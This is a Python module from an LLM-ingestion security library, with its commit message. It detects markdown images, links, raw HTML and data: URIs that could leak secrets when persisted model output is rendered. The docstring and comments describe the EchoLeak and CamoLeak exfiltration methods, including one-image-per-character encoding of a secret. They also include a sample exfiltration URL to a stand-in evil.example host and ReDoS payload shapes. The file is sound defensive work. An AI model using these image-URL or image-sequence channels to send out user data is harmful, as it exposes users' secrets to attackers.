1
0
Fork 0
llm-ingestion-pipeline-secu.../src/llm_ingestion_guard/active_content.py
Kjell Tore Guttormsen eeb7bf07f6
feat(active): report a run of images whose order carries a value
Session 6 of the 2026 threat plan (attack row 3): A05 output was red.
CamoLeak renders a secret as one image per character from a URL alphabet;
each URL is ordinary, so each image graded LOW and the gate WARNed.

- active:markdown-image-sequence (MEDIUM): at least 4 ordinary external
  images, inline or reference-style, on one URL template whose varying
  tokens are 2 chars or fewer, or digit runs. Digits that count up in
  document order are a counter and carry nothing. The per-image grade is
  unchanged; the finding sits beside it.
- Accepted twins (flag tables, figures 1a/1b) go to review; measured
  evasions (word dictionary, 3-char symbols, counter increments, run of 3,
  a template per symbol) are in LIMITATIONS.

Guard rule before/after: FP 106/198, 196/2918, 108/389 identical. Those
corpora hold no external markdown image, so the rule was also run on 577
package READMEs (312 with external images): 0 firings at run lengths 3-8.
OKF import 47/31 identical. Matrix 140/140, ReDoS 163 patterns 0 flagged,
suite 1179 passed + 5 xfailed. Row 3: 13 caught, 1 gap, 5 open.
2026-10-31 19:33:51 +01:00

658 lines
32 KiB
Python

"""active_content — report-only detection of active content (the EchoLeak class).
Query-time guardrails guard the answer; this guards the *persisted artifact*.
Active-content constructs in persisted text become an exfiltration channel the
moment a renderer touches them: a markdown image URL is auto-fetched zero-click
(the EchoLeak class, CVE-2025-32711), a link invites the click, raw active HTML
executes. ``lexicon`` and ``entropy`` cannot see these carriers — they are
neither injection strings nor high-entropy blobs — so this detector is the
gate's coverage for OWASP LLM10:2026 (Improper Output Handling).
This module is the canonical home of the active-content pattern table. Two
consumers share it:
* :func:`scan_active_content` (here) — **report-only**: findings feed
``scan_output`` and thence disposition; the text is never touched.
* :func:`~llm_ingestion_guard.neutralize.neutralize` — the separate, opt-in
**mutator** that defangs the same constructs for human audit.
One deliberate asymmetry between the two: the scanner flags a construct only when
its URL is absolute or protocol-relative. A relative in-document link has no
attacker-reachable endpoint, and flagging it would silently over-block legitimate
wiki/OKF content (design principle 5) — cross-linking is those formats' core
mechanism. ``neutralize`` keeps its broader defang-anything behavior: it is
opt-in, and bracketed dots in a relative path are auditable, not blocking.
The two predicates are therefore separate symbols — :func:`is_active_tag` for the
scanner, :func:`is_defangable_tag` for the mutator. They were one symbol until
0.6.0, imported by name across modules, so narrowing the scanner would have moved
the mutator silently.
**The asymmetry covers raw HTML too** (0.6.0). It previously applied only to the
markdown paths: a tag was active if it carried a URL attribute *at all*, so an MDX
``<Card href="/en/quickstart">`` — a doc-relative route on a name outside the
active set — carried HIGH. It now requires an external target, the rule the
markdown paths have applied since 0.3.1. ``<base>`` left the active *name* set in
the same change: its whole affordance is its ``href``, which the URL-attribute
branch still catches, while the attribute-less ``<base />`` of Azure APIM policy
XML has no affordance in any renderer. Measured together rather than one at a time
— the classes co-occur — the pair frees 25 of 133 non-WARN documents on the
reference corpus and 2 each on the two wiki corpora, at unchanged recall. Method
and numbers: ``docs/rawhtml-census.py``; residuals: ``docs/LIMITATIONS.md``.
**Raw HTML grades on carrier too, and a tag that names no target is inert**
(0.7.0). Two changes that had to ship together, because they co-occur:
* the *carrier split* — ``<a>``/``<area>`` are click-required, so they report as
``active:raw-html-link`` at MEDIUM, the grade the markdown inline link has
carried since 0.3.1. Until 0.6.1 the same URL was LOW as ``[t](url)`` and HIGH
as ``<a href="url">``: an asymmetry produced by syntax, not by affordance.
* the *no-URL narrowing* — a tag whose entire affordance IS the URL it names
(``_URL_AFFORDANCE_TAGS``), carrying no URL attribute at all, has no affordance
in any renderer. This is ``<base />``'s argument from 0.6.0 applied to the rest
of the name branch, and it frees ``</a>``, ``<Frame>``, ``<video />`` and
``<img alt=...>`` without ``src``.
They had to ship together because they co-occur: the narrowing strips a document's
``</a>``/``<Frame>``, and what remains is the ``<a href=...>`` the split grades
down, so each change alone leaves the document blocked by the other's residue. The
split never lets a document reach WARN — it converts a hard block into a human
review, which is the difference a consumer actually feels and the reason the census
reports ``fail_secure`` alongside non-WARN.
**Measured through the census on three populations, each at one corpus state**
(``fail_secure`` under ``PRESET_USER_UPLOAD``, 0.6.0 as shipped -> 0.7.0; the
ceiling is the detector switched off entirely):
=================== ========= ============= ======= =========================
population documents 0.6.0 -> 0.7.0 ceiling tightens (upload/trusted)
=================== ========= ============= ======= =========================
reference-corpus 389 54 -> 53 53 0 / 0
vendor-harvest 187 62 -> 20 18 0 / 0
generated-notes 552 59 -> 15 13 0 / 0
=================== ========= ============= ======= =========================
The pair takes **42 of the 44 achievable on vendor-harvest and 44 of 46 on
generated-notes** — 95% and 96% of what switching the detector off would buy.
reference-corpus was already emptied of raw-HTML drivers by the 0.6.0 narrowing,
so it bounds the change rather than showing its value; the wiki corpora are where
the volume is.
**Neither change alone reaches half of it, and the residual is identical in both
corpora.** The split alone frees 8 documents in each; the narrowing alone frees 21
and 23. 8+21 against a measured 42, and 8+23 against a measured 44: **13 documents
per corpus are freed by the pair and by neither member** — the narrowing strips a
document's ``</a>``/``<Frame>`` and what remains is the ``<a href=...>`` the split
grades down. Shipping either alone would have measured as barely worth the label.
Method and rows: ``docs/rawhtml-census.py``.
The URL-attribute branch deliberately stays on the HIGH side of the split. A name
outside the active set has unknown rendering and ``href`` is not the only URL
attribute it may carry; grading ``<Card src="...">`` as a link would be reasoning,
not measurement.
**Severity grades on URL shape, not construct type** (0.3.1). The exfiltration
primitive is not "an image" — it is a URL that moves bytes to a host the
attacker controls. ``![diagram](https://example.com/arch.png)`` carries nothing
outward, so grading it like ``![x](https://evil.example/leak?d=SECRET)`` made
ordinary documents unpersistable on the upload preset (measured on v0.3.0: every
document with one remote image fail-secured). :func:`is_ordinary_url` separates
the two axes: a URL that only *names* a remote document is
``ACTIVE_CONTENT_ORDINARY_SEVERITY``; anything that can carry a value —
a query, userinfo, percent-escapes, or an opaque host label / path segment —
keeps the carrier's full severity. The raw-HTML classes and ``data:`` URIs have no
ordinary form and keep their carrier's severity unconditionally — HIGH for
``raw-html``, MEDIUM for ``raw-html-link``: they are active whatever the URL, and
an event handler needs no URL at all. Applying ``is_ordinary_url`` to raw tags was
considered and rejected: real vendor-doc image URLs are largely not ordinary, so it
buys little, and it would add a third tier to a class nobody asked to have three.
The opacity test reuses ``entropy``'s primitives rather than inventing a second
heuristic, and it is a *backstop*, not the main line of defence: a literal
credential in a URL is caught by the secret-egress patterns in the same
``scan_output`` pass regardless of the severity assigned here. The residual
holes it leaves — pure beaconing, short opaque segments — are documented in
``docs/LIMITATIONS.md`` rather than papered over.
Scan order mirrors ``neutralize``'s pass order, with each matched construct
masked out of the working text before the next pass — so a construct is counted
once by its most specific class (an image is not also a link; an autolink is
not also raw HTML), exactly as the sequential rewrites guarantee in the mutator.
**Evidence hygiene:** a finding's ``evidence`` carries the *defanged* URL
(``hxxps://evil[.]example``) — the report must be safe to log and render
without recreating the affordance it flagged.
"""
from __future__ import annotations
import re
from urllib.parse import urlsplit
from .calibration import (
ACTIVE_CONTENT_ORDINARY_SEVERITY as _ORDINARY_SEVERITY,
ACTIVE_CONTENT_SEQUENCE_SEVERITY as _SEQUENCE_SEVERITY,
ACTIVE_CONTENT_SEVERITY as _SEVERITY,
IMAGE_SEQUENCE_MIN_RUN as _SEQUENCE_MIN_RUN,
IMAGE_SEQUENCE_SYMBOL_MAX as _SYMBOL_MAX,
MAX_SCAN_CHARS,
URL_OPAQUE_ENTROPY_H as _OPAQUE_H,
URL_OPAQUE_HEX_MIN_LEN as _OPAQUE_HEX_LEN,
URL_OPAQUE_MIN_LEN as _OPAQUE_MIN_LEN,
)
from .entropy import is_hex_blob, shannon_entropy, try_decode_base64
from . import _owasp
from .report import Finding, Report, Severity, Source
# --- URL defang (shared primitive) -------------------------------------------
# Rewrite a URL to a form no renderer will resolve, while keeping it readable.
# Dangerous schemes (data:, javascript:, ...) get their colon neutralized;
# network schemes get the classic threat-intel treatment (hxxp / hxxps).
_DANGER_SCHEME_RE = re.compile(r"^(javascript|data|vbscript|file|blob)(?=:)", re.IGNORECASE)
_SCHEME_SUBS = (
(re.compile(r"^https", re.IGNORECASE), "hxxps"),
(re.compile(r"^http", re.IGNORECASE), "hxxp"),
(re.compile(r"^ftp", re.IGNORECASE), "fxp"),
)
# Dot-defang that is idempotent: never touches a `.` already inside `[.]`.
_DOT_RE = re.compile(r"(?<!\[)\.(?!\])")
# A bare http(s)/ftp URL embedded in other text (used inside escaped HTML).
#
# ReDoS note (OWASP LLM06:2026). The scheme run sits in front of a REQUIRED `://`, so
# a long run of scheme characters that never reaches it costs a full rescan at
# every start position: `<a ` + `A`*100_000 + `>` measured 12.99s through
# `scan_active_content` and 14.9s through `neutralize`, exponent ~2.0 over four
# doublings, on entry points that apply no input cap. The 0.3.2 sweep missed it
# because its payloads repeat a unit, and this arm needs the tag to CLOSE before
# the body is handed on.
#
# The exclusion trick used by the constructs below does not apply — the attack
# repeats a plain scheme character, not this pattern's anchor — so the run is
# bounded to an RFC 3986 scheme instead (`ALPHA *( ALPHA / DIGIT / "+" / "-" /
# "." )`; the longest registered scheme is far under 64). Unlike the detector
# tables, bounding costs nothing here: this is a defanger applied INSIDE a tag
# already flagged `active:raw-html`, padding merely shifts where the match
# starts, and a 64+ character "scheme" is not resolvable by any renderer. A
# lookbehind that killed interior start positions was measured too and rejected:
# it drops `-http://evil.com` and `.http://x.com`, a one-character evasion of
# the defanger. Bounded: 0.185s at the full 1_000_000-char cap.
URL_IN_TEXT_RE = re.compile(r"[A-Za-z][A-Za-z0-9+.\-]{0,63}://[^\s'\"<>]+")
def defang_url(url: str) -> str:
"""Rewrite ``url`` to a non-resolvable, human-auditable form. Idempotent."""
m = _DANGER_SCHEME_RE.match(url)
if m:
url = url[: m.end(1)] + "[:]" + url[m.end(1) + 1 :]
else:
for pattern, repl in _SCHEME_SUBS:
url, n = pattern.subn(repl, url)
if n:
break
return _DOT_RE.sub("[.]", url)
def redact(s: str, show_start: int = 16, show_end: int = 6) -> str:
"""Shorten evidence to its ends — long payloads never land whole in a log."""
if len(s) <= show_start + show_end + 3:
return s
return f"{s[:show_start]}...{s[-show_end:]}"
# --- active-content constructs (the shared pattern table) ---------------------
#
# ReDoS note (OWASP LLM06:2026) — every run below excludes the character that OPENS
# this pattern's own anchor: `[` for the markdown forms, `<` for the autolink and
# the raw tag. That exclusion is what keeps the table linear, and it is not
# cosmetic. Each of these is a run followed by a REQUIRED literal (`]`, `)`,
# `>`); if the run may cross the next anchor, then crafted input that repeats the
# anchor and never supplies the literal makes every start position rescan the
# whole tail — quadratic time, no nested quantifier needed. Measured before the
# exclusions: `<a:` x 100_000 took 23.4s in AUTOLINK_RE alone and ~5.7 HOURS
# extrapolated to the 1_000_000-char cap the gate accepts. With the exclusion a
# run cannot reach past the next anchor, so the per-start costs telescope.
# Bounding the runs instead ({0,256}) would also be linear but is the WRONG fix
# here: the content is attacker-controlled, so padding past the bound would be a
# one-line detection bypass of the very EchoLeak class this table exists to
# catch. See tests/test_output.py::test_crafted_redos_payload_stays_bounded.
#
# Markdown image / inline link: `[text](url "title")`. `url` stops at the first
# `)` or whitespace (balanced-paren URLs matched conservatively — see the
# neutralize scope note). `[` is excluded per the ReDoS note above; a URL that
# needs a literal `[` (an IPv6 host literal) must percent-encode it anyway.
MD_IMAGE_RE = re.compile(
r"!\[(?P<alt>[^\]\[]*)\]\(\s*(?P<url>[^)\s\[]+)(?P<title>(?:\s+\"[^\"]*\")?)\s*\)"
)
MD_LINK_RE = re.compile(
r"(?<!!)\[(?P<text>[^\]\[]*)\]\(\s*(?P<url>[^)\s\[]+)(?P<title>(?:\s+\"[^\"]*\")?)\s*\)"
)
# Reference-style link definition: `[label]: destination`. Only fires when the
# destination is absolute (has a scheme or is protocol-relative) — a footnote
# `[1]: some plain text` is not a link target and is left alone.
MD_REFDEF_RE = re.compile(
r"(?m)^(?P<pre>[ ]{0,3}\[[^\]\[]+\]:\s*)(?P<url>[A-Za-z][\w+.\-]*:\S+|//\S+)"
)
# Angle-bracket autolink: `<scheme:...>`. A URL inside `<...>` cannot contain a
# raw `<`, so excluding it costs no recall (verified) and bounds the run.
AUTOLINK_RE = re.compile(r"<(?P<url>[A-Za-z][A-Za-z0-9+.\-]*:[^>\s<]+)>")
# Standalone `data:` URI in prose (not preceded by a letter/digit -> "metadata:"
# is not a match), consuming to the next whitespace / quote / bracket.
DATA_URI_RE = re.compile(r"(?<![A-Za-z0-9])data:[^\s'\"<>)]+", re.IGNORECASE)
# Raw HTML tag. Attribute values may hold `>` inside quotes, so quoted runs are
# consumed atomically. A tag is *active* if it is an inherently-executing element,
# carries an event handler, or carries a URL-bearing attribute. The unquoted-char
# branch excludes `<` per the ReDoS note above — a raw `<` cannot appear in an
# unquoted attribute region anyway, and a `<` inside a QUOTED value is still
# consumed by the quoted branches, so this costs no recall (verified).
HTML_TAG_RE = re.compile(r"<(?P<slash>/?)(?P<name>[A-Za-z][A-Za-z0-9:-]*)(?P<attrs>(?:[^>\"'<]|\"[^\"]*\"|'[^']*')*)>")
_EVENT_ATTR_RE = re.compile(r"\bon[a-z]+\s*=", re.IGNORECASE)
_URL_ATTR_RE = re.compile(
r"\b(?:src|href|xlink:href|srcset|data|poster|formaction|action|background|cite|codebase|longdesc)\s*=",
re.IGNORECASE,
)
_ACTIVE_TAGS = frozenset({
"script", "iframe", "object", "embed", "svg", "math", "link", "meta", "base",
"form", "img", "input", "button", "video", "audio", "source", "track", "a",
"area", "frame", "frameset", "applet", "style",
})
# The SCANNER's name set. `<base>`'s only affordance is its `href`, which the
# URL-attribute branch still catches; `<base />` without one is inert. The mutator
# keeps the full set — see the module docstring.
_SCANNER_ACTIVE_TAGS = _ACTIVE_TAGS - {"base"}
# Tags whose entire active affordance IS the URL they name. Carrying no URL
# attribute at all, they name no target, so no renderer can fetch or follow them
# — `<base />`'s argument (0.6.0) applied to the rest of the name branch. The
# shapes this frees, observed inside vendor-harvest's fail_secure documents:
# `</a>`, `<Frame>`/`</Frame>`, `<video />`, and `<img alt=...>` with no `src` —
# end tags and MDX wrapper components dominate.
# Everything else in the name set does something a URL cannot describe —
# `<script>` executes its body, `<style>` restyles, `<form>` submits — and stays
# active with no attributes at all.
_URL_AFFORDANCE_TAGS = frozenset({
"a", "area", "img", "video", "audio", "source", "track", "frame", "frameset",
})
# Click-required carriers: following one needs a human, exactly like a markdown
# inline link. Everything else the renderer fetches or executes unattended.
_LINK_TAGS = frozenset({"a", "area"})
# `_URL_ATTR_RE` above is a presence test and deliberately captures no value.
# Reading the value needs the same literal alternation with the value attached, so
# no new run shape enters the table: every run here sits in front of a required
# literal that the alternation has already anchored. (Self-safety, OWASP LLM06:2026 —
# `tests/test_output.py::_REDOS_PAYLOADS` carries the measured row.)
_URL_ATTR_VALUE_RE = re.compile(
r"\b(?:src|href|xlink:href|srcset|data|poster|formaction|action|background|cite|codebase|longdesc)"
r"\s*=\s*(?P<v>\"[^\"]*\"|'[^']*'|[^\s>]+)",
re.IGNORECASE,
)
# `srcset` holds a comma-separated candidate list, so an attribute value is not
# always one URL. Splitting means a relative first candidate cannot mask an
# external one behind it.
_URL_CANDIDATE_SPLIT_RE = re.compile(r"[,\s]+")
def _url_attr_is_external(attrs: str) -> bool:
"""True if a URL-bearing attribute names an attacker-reachable target.
Fail-secure: an attribute ``_URL_ATTR_RE`` saw but whose value cannot be read
here counts as external, so a gap between the two patterns over-blocks rather
than under-blocks.
"""
seen = False
for m in _URL_ATTR_VALUE_RE.finditer(attrs):
seen = True
value = m.group("v")
if value[:1] in "\"'":
value = value[1:-1]
if any(_has_external_target(c)
for c in _URL_CANDIDATE_SPLIT_RE.split(value.strip()) if c):
return True
return not seen
def active_tag_class(name: str, attrs: str) -> str | None:
"""The active-content class a raw tag belongs to, or ``None`` if it is inert.
``"raw-html-link"`` is the click-required carrier class; ``"raw-html"`` is
everything the renderer acts on unattended. The event-handler test runs
FIRST, before the name test, so an ``<a onclick=...>`` is graded as the
execute-class carrier it is rather than downgraded with the anchors.
"""
lowered = name.lower()
if _EVENT_ATTR_RE.search(attrs):
return "raw-html"
# Presence, not a readable value: a URL attribute whose value this module
# cannot resolve must keep the tag active, mirroring `_url_attr_is_external`'s
# fail-secure gap. The corpora carry 0 of these today — empirical, not
# structural, so the predicate must not depend on that holding.
has_url_attr = bool(_URL_ATTR_RE.search(attrs))
if lowered in _SCANNER_ACTIVE_TAGS:
if lowered in _URL_AFFORDANCE_TAGS and not has_url_attr:
return None
return "raw-html-link" if lowered in _LINK_TAGS else "raw-html"
# A name outside the active set is active only through its URL attribute, and
# stays on the HIGH side: its rendering is unknown and `href` is not the only
# URL attribute it may carry. Measured cost of that conservatism: one
# document per wiki corpus.
if has_url_attr and _url_attr_is_external(attrs):
return "raw-html"
return None
def is_active_tag(name: str, attrs: str) -> bool:
"""True if a tag is active for the SCANNER, in either carrier class.
Kept as a separate symbol because ``docs/rawhtml-census.py`` patches it to
measure a candidate predicate, and consumers import it by name.
"""
return active_tag_class(name, attrs) is not None
def is_defangable_tag(name: str, attrs: str) -> bool:
"""True if the MUTATOR should defang a tag — deliberately broader than
:func:`is_active_tag`: any URL attribute, and the full name set.
Over-defanging costs nothing here (``neutralize`` is opt-in and blocks no
disposition), while under-defanging would hand a human a live construct.
"""
return bool(
name.lower() in _ACTIVE_TAGS
or _EVENT_ATTR_RE.search(attrs)
or _URL_ATTR_RE.search(attrs)
)
# Absolute (`scheme:`) or protocol-relative (`//`) URL — an attacker-reachable
# target. Relative paths resolve against the rendering host and carry no
# exfiltration affordance, so the scanner leaves them alone.
_EXTERNAL_URL_RE = re.compile(r"^(?:[A-Za-z][A-Za-z0-9+.\-]*:|//)")
def _has_external_target(url: str) -> bool:
return bool(_EXTERNAL_URL_RE.match(url))
def _always(url: str) -> bool:
# REFDEF is absolute-only by regex; AUTOLINK carries a scheme by
# construction; a `data:` URI is its own scheme.
return True
# --- URL shape: can this URL carry data outward? -----------------------------
# Only http(s) and protocol-relative URLs have an "ordinary" form. Every other
# scheme (javascript:, data:, file:, ftp:, ...) is active or fetches out-of-band
# on its own terms and never grades down.
_ORDINARY_SCHEME_RE = re.compile(r"^(?:https?://|//)", re.IGNORECASE)
# Host labels and path segments: the separators that delimit a *name*. A token
# that survives this split and still looks like a blob is carried data.
_URL_TOKEN_RE = re.compile(r"[/._\-~+,;:=&$!*'()]+")
def _is_opaque(token: str) -> bool:
"""True if a URL token looks like carried data rather than a name.
Three reused ``entropy`` signals, cheapest first: base64 that decodes to
printable text (the encoding an exfil path actually uses), a hex id at the
URL-token floor, and — as a backstop for random-looking tokens that are
neither — length-paired Shannon entropy.
"""
if try_decode_base64(token) is not None:
return True
if len(token) >= _OPAQUE_HEX_LEN and is_hex_blob(token):
return True
return len(token) >= _OPAQUE_MIN_LEN and shannon_entropy(token) >= _OPAQUE_H
def is_ordinary_url(url: str) -> bool:
"""True if ``url`` merely *names* a remote document, carrying nothing outward.
Ordinary means all of: an http(s) or protocol-relative scheme, no query, no
userinfo, no percent-escapes, and no opaque host label or path segment.
The fragment is deliberately excluded from the test: it is never sent to the
server, so it cannot carry data to the host that a renderer auto-fetches —
``…/overview#prerequisites`` is the single most common shape in real
documentation. Percent-escapes count as carrying, which grades a legitimate
``%20`` in a path as data-carrying; that false positive is accepted and
documented (``docs/LIMITATIONS.md``) because obfuscated encoding is a core
exfil primitive and the ambiguous case belongs on the review side.
"""
if not _ORDINARY_SCHEME_RE.match(url):
return False
try:
parts = urlsplit(url)
except ValueError: # malformed authority (bad IPv6, bad port) -> never ordinary
return False
if parts.query or parts.username or parts.password:
return False
# `netloc`, not `hostname`: the latter lowercases, which would destroy the
# mixed case a base64 payload smuggled into a subdomain depends on. Userinfo
# is already rejected above, so what is left is host[:port].
named = parts.netloc + parts.path
if "%" in named:
return False
return not any(_is_opaque(token) for token in _URL_TOKEN_RE.split(named) if token)
# --- sequence-carried exfiltration: the order is the carrier (A05, 1.7.0) ------
# CamoLeak (Legit Security, 2025-09-30) rendered a secret as a run of images, one
# per character, from a pre-built URL alphabet. Every URL in such a run can be
# ordinary — `is_ordinary_url` is right that none of them carries a value — so the
# per-image grade is LOW and the gate WARNs. The value is in which image comes
# where. (CamoLeak's own Camo URLs carry a 40-hex signature, which the opacity
# test already grades HIGH image by image; the rule below is for the alphabet
# that needs no such token.)
#
# The rule: group the external, ordinary images by URL TEMPLATE — every token of
# host and path, with a short token (`IMAGE_SEQUENCE_SYMBOL_MAX` chars or fewer)
# turned into a symbol slot and every digit run in a longer token into a digit
# slot. A template with at least `IMAGE_SEQUENCE_MIN_RUN` images whose slots vary
# is a run that can carry a value. One exception carries nothing: when every
# varying slot is a number and the numbers count up in document order
# (`step-1.png`, `ch1/fig2.png` before `ch2/fig1.png`), the position predicts the
# URL. Images on another template are not part of the run, so decoys with long
# names do not dilute it.
#
# Reference-style images (`![a][r]`, `![r][]`, `![r]`) resolve through their
# definitions, so the run cannot move out of the inline form; a definition no
# image uses is a link list and is not counted. ReDoS (OWASP LLM06:2026): both
# runs in `MD_IMAGE_REF_RE` exclude `[`, the anchor's own opening character, as
# the table above does.
MD_IMAGE_REF_RE = re.compile(r"!\[(?P<alt>[^\]\[]*)\](?:\[(?P<ref>[^\]\[]*)\])?(?!\()")
_DIGIT_RUN_RE = re.compile(r"\d+")
def _ref_label(label: str) -> str:
"""CommonMark label matching: case-insensitive, internal whitespace collapsed."""
return " ".join(label.split()).casefold()
def _external_images_in_order(text: str) -> list[str]:
"""Every external image URL in ``text``, inline or by reference, in document order."""
found = [(m.start(), m.group("url")) for m in MD_IMAGE_RE.finditer(text)]
definitions: dict[str, str] = {}
for m in MD_REFDEF_RE.finditer(text):
# `pre` is ` [label]: `; the first definition of a label wins.
definitions.setdefault(_ref_label(m.group("pre").strip()[1:-2]), m.group("url"))
if definitions:
for m in MD_IMAGE_REF_RE.finditer(text):
label = _ref_label(m.group("ref") or m.group("alt"))
if label in definitions:
found.append((m.start(), definitions[label]))
found.sort(key=lambda hit: hit[0])
return [url for _, url in found if _has_external_target(url)]
def _template(url: str) -> tuple[tuple[str, ...], tuple[str, ...]]:
"""``(template, slot values)`` for an ordinary URL's host and path."""
parts = urlsplit(url)
template: list[str] = []
slots: list[str] = []
for token in _URL_TOKEN_RE.split(parts.netloc.lower() + parts.path):
if not token:
continue
if len(token) <= _SYMBOL_MAX:
template.append("*")
slots.append(token)
else:
template.append(_DIGIT_RUN_RE.sub("#", token))
slots.extend(_DIGIT_RUN_RE.findall(token))
return tuple(template), tuple(slots)
def _counts_up(rows: list[tuple[str, ...]]) -> bool:
"""True if every row is all digits and the rows strictly increase, read as numbers."""
if not all(value.isdigit() for row in rows for value in row):
return False
numbers = [tuple(int(value) for value in row) for row in rows]
return all(a < b for a, b in zip(numbers, numbers[1:]))
def _carrying_image_runs(text: str) -> list[list[str]]:
"""The runs of ordinary external images whose order can carry a value.
Each run is its URLs in document order.
"""
by_template: dict[tuple[str, ...], list[tuple[str, tuple[str, ...]]]] = {}
for url in _external_images_in_order(text):
if not is_ordinary_url(url):
continue # already graded as carrying on its own
template, slots = _template(url)
by_template.setdefault(template, []).append((url, slots))
runs = []
for members in by_template.values():
if len(members) < _SEQUENCE_MIN_RUN:
continue
rows = [slots for _, slots in members]
varying = [i for i in range(len(rows[0])) if len({row[i] for row in rows}) > 1]
if not varying:
continue # one image repeated carries nothing
if _counts_up([tuple(row[i] for i in varying) for row in rows]):
continue # a counter: the position predicts the URL
runs.append([url for url, _ in members])
return runs
# Per-construct severities (_SEVERITY, imported above) live in `calibration` —
# zero-click auto-fetch/execute -> HIGH, click-required -> MEDIUM — the Node port
# shares them.
def scan_active_content(
text: str,
source: Source = Source.OUTPUT,
max_scan_chars: int = MAX_SCAN_CHARS,
) -> Report:
"""Report active-content constructs with an external target in ``text``.
Report-only (design principles 3 & 4): the input is never mutated and no
disposition is rendered here. Labels are ``active:<class>``; severities
mirror ``neutralize``'s (image / raw-html / data-uri HIGH, links MEDIUM).
Self-safety (OWASP LLM06:2026): the scanned length is capped once, and an
``active:oversize-input`` finding announces that the tail went unread. It
truncates rather than raising the way the transform surfaces do — what a
detector shortens is its own coverage, not the caller's content. Reached
through :func:`~llm_ingestion_guard.output.scan_output` the text is already
under that surface's cap, so the flag is raised once, there.
"""
report = Report()
if len(text) > max_scan_chars:
report.add(Finding(
label="active:oversize-input", severity=Severity.MEDIUM,
source=source, detector="active_content", count=len(text),
owasp=_owasp.UNBOUNDED_CONSUMPTION,
evidence=f"input {len(text)} chars exceeds cap {max_scan_chars}; scanned prefix only",
))
text = text[:max_scan_chars]
def _flag(cls: str, hits: list[tuple[str, bool]]) -> None:
"""Report one finding for ``cls``, graded by its *worst* member.
A class collapses to a single finding, so an exfil-shaped URL hiding
behind an ordinary one must set both the severity and the evidence —
otherwise the report would show an innocent URL next to a HIGH verdict.
"""
carrying = [evidence for evidence, ordinary in hits if not ordinary]
report.add(Finding(
label=f"active:{cls}",
severity=_SEVERITY[cls] if carrying else _ORDINARY_SEVERITY,
source=source, detector="active_content", count=len(hits),
evidence=redact(carrying[0] if carrying else hits[0][0]), owasp=_owasp.IMPROPER_OUTPUT_HANDLING,
))
masked = text
def _scan(pattern: re.Pattern[str], url_group, keep) -> list[tuple[str, bool]]:
"""Collect ``(defanged url, is_ordinary)`` for kept matches; mask every
match with spaces (same length, so line structure and later offsets
survive)."""
nonlocal masked
hits: list[tuple[str, bool]] = []
def _sub(m: re.Match[str]) -> str:
url = m.group(url_group)
if keep(url):
hits.append((defang_url(url), is_ordinary_url(url)))
return " " * len(m.group(0))
masked = pattern.sub(_sub, masked)
return hits
# Pass order mirrors neutralize: images first (consumes the leading `!`),
# then links, refdefs, autolinks, raw HTML, and standalone data: URIs.
imgs = _scan(MD_IMAGE_RE, "url", _has_external_target)
if imgs:
_flag("markdown-image", imgs)
# Read from the unmasked text: a run may mix inline and reference-style images,
# and its own finding sits beside the per-image grade without changing it.
runs = _carrying_image_runs(text)
if runs:
report.add(Finding(
label="active:markdown-image-sequence", severity=_SEQUENCE_SEVERITY,
source=source, detector="active_content", count=sum(len(run) for run in runs),
evidence=redact(defang_url(runs[0][0]), show_start=24),
owasp=_owasp.IMPROPER_OUTPUT_HANDLING,
))
links = _scan(MD_LINK_RE, "url", _has_external_target)
if links:
_flag("markdown-link", links)
refs = _scan(MD_REFDEF_RE, "url", _always)
if refs:
_flag("reference-link", refs)
autos = _scan(AUTOLINK_RE, "url", _always)
if autos:
_flag("autolink", autos)
# Raw HTML is active whatever its URL looks like (an event handler needs no
# URL at all), so every tag is flagged as carrying — no ordinary form. The
# two carrier classes are collected separately: a document holding both a
# `<script>` and an `<a href>` must not lose the anchor behind the script,
# nor grade the script down to the anchor's severity.
html: dict[str, list[tuple[str, bool]]] = {"raw-html": [], "raw-html-link": []}
def _tag(m: re.Match[str]) -> str:
cls = active_tag_class(m.group("name"), m.group("attrs") or "")
if cls is None:
return m.group(0)
html[cls].append(
(URL_IN_TEXT_RE.sub(lambda u: defang_url(u.group(0)), m.group(0)), False))
return " " * len(m.group(0))
masked = HTML_TAG_RE.sub(_tag, masked)
for cls in ("raw-html", "raw-html-link"):
if html[cls]:
_flag(cls, html[cls])
# A `data:` URI carries its own payload; `is_ordinary_url` rejects the scheme
# outright, so this stays HIGH through the same path as the rest.
datas = _scan(DATA_URI_RE, 0, _always)
if datas:
_flag("data-uri", datas)
return report